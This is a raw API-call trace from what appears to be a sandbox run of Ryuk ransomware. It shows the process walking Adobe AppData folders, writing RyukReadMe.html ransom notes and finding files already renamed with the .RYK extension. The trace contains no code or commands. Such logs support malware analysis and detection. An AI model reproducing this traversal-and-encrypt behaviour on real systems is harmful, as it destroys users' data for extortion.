	[0246.125] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x11a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0246.125] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0246.125] SetLastError (dwErrCode=0x0) 
	[0246.125] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0246.125] GetLastError () returned 0xb7
	[0246.125] CloseHandle (hObject=0x404) returned 1
	[0246.125] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.126] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.126] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0246.126] SetLastError (dwErrCode=0x0) 
	[0246.126] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.126] GetLastError () returned 0xb7
	[0246.126] CloseHandle (hObject=0x3d0) returned 1
	[0246.126] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0246.126] SetLastError (dwErrCode=0x0) 
	[0246.126] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.127] GetLastError () returned 0xb7
	[0246.127] CloseHandle (hObject=0x3d0) returned 1
	[0246.127] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0246.127] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.127] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x10a, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0246.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0246.129] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.129] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10a, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0246.130] SetLastError (dwErrCode=0x0) 
	[0246.130] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.130] GetLastError () returned 0xb7
	[0246.130] CloseHandle (hObject=0x41c) returned 1
	[0246.130] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.130] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.130] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x116, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.131] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x116, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0246.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0246.133] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.134] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x116, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0246.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0246.136] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.137] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x116, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0246.137] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0246.137] SetLastError (dwErrCode=0x0) 
	[0246.137] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.137] GetLastError () returned 0xb7
	[0246.138] CloseHandle (hObject=0x41c) returned 1
	[0246.138] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.138] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x10a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.138] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0246.138] SetLastError (dwErrCode=0x0) 
	[0246.138] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.138] GetLastError () returned 0xb7
	[0246.138] CloseHandle (hObject=0x3d0) returned 1
	[0246.138] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xfe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.139] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xfe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.139] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0246.139] SetLastError (dwErrCode=0x0) 
	[0246.139] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.139] GetLastError () returned 0xb7
	[0246.139] CloseHandle (hObject=0x3d4) returned 1
	[0246.139] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0246.139] SetLastError (dwErrCode=0x0) 
	[0246.139] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.140] GetLastError () returned 0xb7
	[0246.140] CloseHandle (hObject=0x3d4) returned 1
	[0246.140] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0246.140] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.140] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfe, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0246.140] SetLastError (dwErrCode=0x0) 
	[0246.140] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.140] GetLastError () returned 0xb7
	[0246.140] CloseHandle (hObject=0x3d0) returned 1
	[0246.141] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0246.141] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.141] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0246.141] SetLastError (dwErrCode=0x0) 
	[0246.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.141] GetLastError () returned 0xb7
	[0246.141] CloseHandle (hObject=0x41c) returned 1
	[0246.142] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.142] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.142] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0246.142] SetLastError (dwErrCode=0x0) 
	[0246.142] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0246.142] GetLastError () returned 0xb7
	[0246.142] CloseHandle (hObject=0x428) returned 1
	[0246.143] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.143] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
